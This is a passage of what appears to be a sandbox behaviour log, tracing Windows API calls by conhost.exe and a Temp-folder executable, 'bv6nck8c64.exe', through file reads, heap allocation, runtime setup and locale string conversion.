lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x39f148*=0x0, lpOverlapped=0x0) returned 1 [0108.120] GetLastError () returned 0x0 [0108.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0108.120] GetFileType (hFile=0x74) returned 0x1 [0108.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0108.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0108.120] GetProcessHeap () returned 0xf0000 [0108.120] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x400a) returned 0x114bc8 [0108.120] GetProcessHeap () returned 0xf0000 [0108.120] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x114bc8 | out: hHeap=0xf0000) returned 1 [0108.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0108.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0108.120] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x39f12c, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x39f12c*=0x0, lpOverlapped=0x0) returned 1 [0108.120] GetLastError () returned 0x0 [0108.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0108.120] GetFileType (hFile=0x74) returned 0x1 [0108.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0108.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0108.120] GetProcessHeap () returned 0xf0000 [0108.120] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x400a) returned 0x114bc8 [0108.120] GetProcessHeap () returned 0xf0000 [0108.121] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x114bc8 | out: hHeap=0xf0000) returned 1 [0108.121] longjmp () [0108.121] _tell (_FileHandle=3) returned 226 [0108.121] _close (_FileHandle=3) returned 0 [0108.121] CmdBatNotification () returned 0x0 [0108.121] _get_osfhandle (_FileHandle=1) returned 0x7 [0108.121] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0108.121] _get_osfhandle (_FileHandle=1) returned 0x7 [0108.121] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0108.122] _get_osfhandle (_FileHandle=0) returned 0x3 [0108.122] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0108.122] SetConsoleInputExeNameW () returned 0x1 [0108.122] GetConsoleOutputCP () returned 0x1b5 [0108.122] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0108.122] SetThreadUILanguage (LangId=0x0) returned 0x409 [0108.123] exit (_Code=0) Process: id = "177" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x17bb000" os_pid = "0xdc8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 741 os_tid = 0xdcc Thread: id = 748 os_tid = 0xdf4 Thread: id = 749 os_tid = 0xdf8 Process: id = "178" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x1bb75000" os_pid = "0xdd4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "175" os_parent_pid = "0xda4" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 743 os_tid = 0xdd8 [0098.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xde390800, dwHighDateTime=0x1d5d06a)) [0098.572] GetCurrentThreadId () returned 0xdd8 [0098.572] GetCurrentProcessId () returned 0xdd4 [0098.572] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=24053428174) returned 1 [0098.582] GetProcessHeap () returned 0x2c0000 [0098.583] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0098.583] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0098.584] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0098.585] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0098.585] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0098.585] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0098.585] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0098.585] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0098.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x478) returned 0x2df080 [0098.585] GetCurrentThreadId () returned 0xdd8 [0098.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x28) returned 0x2d5f00 [0098.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xb00) returned 0x2df500 [0098.586] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x2df080)) [0098.586] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0098.586] GetFileType (hFile=0x3) returned 0x2 [0098.742] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.742] GetFileType (hFile=0x7) returned 0x2 [0098.742] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0098.742] GetFileType (hFile=0xb) returned 0x2 [0098.743] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0098.743] GetEnvironmentStringsW () returned 0x2e0010* [0098.743] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xb42) returned 0x2e0b60 [0098.743] FreeEnvironmentStringsW (penv=0x2e0010) returned 1 [0098.743] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0098.743] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xb8) returned 0x2e16b0 [0098.743] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x138) returned 0x2e1770 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3e) returned 0x2d62e0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x6c) returned 0x2e18b0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x62) returned 0x2e1930 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x78) returned 0x2e19a0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x62) returned 0x2e1a20 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2e) returned 0x2dddf0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x48) returned 0x2d6330 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x34) returned 0x2dde30 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x28) returned 0x2d5f30 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1a) returned 0x2d5f60 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x4a) returned 0x2e1a90 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x72) returned 0x2e1af0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x30) returned 0x2dde70 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2e) returned 0x2ddeb0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1c) returned 0x2d5f90 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xd2) returned 0x2e1b70 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x7c) returned 0x2e1c50 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3a) returned 0x2d6380 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x90) returned 0x2e1ce0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x24) returned 0x2d5fc0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x30) returned 0x2ddef0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x36) returned 0x2ddf30 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3c) returned 0x2d63d0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x52) returned 0x2e1d80 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3c) returned 0x2d6420 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x18) returned 0x2e1de0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x82) returned 0x2e1e00 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2e) returned 0x2ddf70 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1e) returned 0x2d5ff0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2c) returned 0x2ddfb0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x54) returned 0x2e1e90 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x52) returned 0x2e1ef0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2a) returned 0x2ddff0 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3c) returned 0x2d6470 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x54) returned 0x2e1f50 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x24) returned 0x2d6020 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x30) returned 0x2de030 [0098.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x8c) returned 0x2e0010 [0098.744] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e0b60 | out: hHeap=0x2c0000) returned 1 [0098.745] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1000) returned 0x2e00b0 [0098.745] GetLastError () returned 0x0 [0098.745] SetLastError (dwErrCode=0x0) [0098.745] GetLastError () returned 0x0 [0098.745] SetLastError (dwErrCode=0x0) [0098.745] GetLastError () returned 0x0 [0098.745] SetLastError (dwErrCode=0x0) [0098.745] GetACP () returned 0x4e4 [0098.745] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x228) returned 0x2e10c0 [0098.745] GetLastError () returned 0x0 [0098.745] SetLastError (dwErrCode=0x0) [0098.745] IsValidCodePage (CodePage=0x4e4) returned 1 [0098.745] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0098.745] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0098.745] GetLastError () returned 0x0 [0098.745] SetLastError (dwErrCode=0x0) [0098.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0098.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ⽒䞋ᄀ") returned 256 [0098.745] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ⽒䞋ᄀ", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0098.745] GetLastError () returned 0x0 [0098.745] SetLastError (dwErrCode=0x0) [0098.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0098.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0098.746] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0098.746] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0098.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0098.746] GetLastError () returned 0x0 [0098.746] SetLastError (dwErrCode=0x0) [0098.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0098.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0098.746] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0098.746] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0098.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 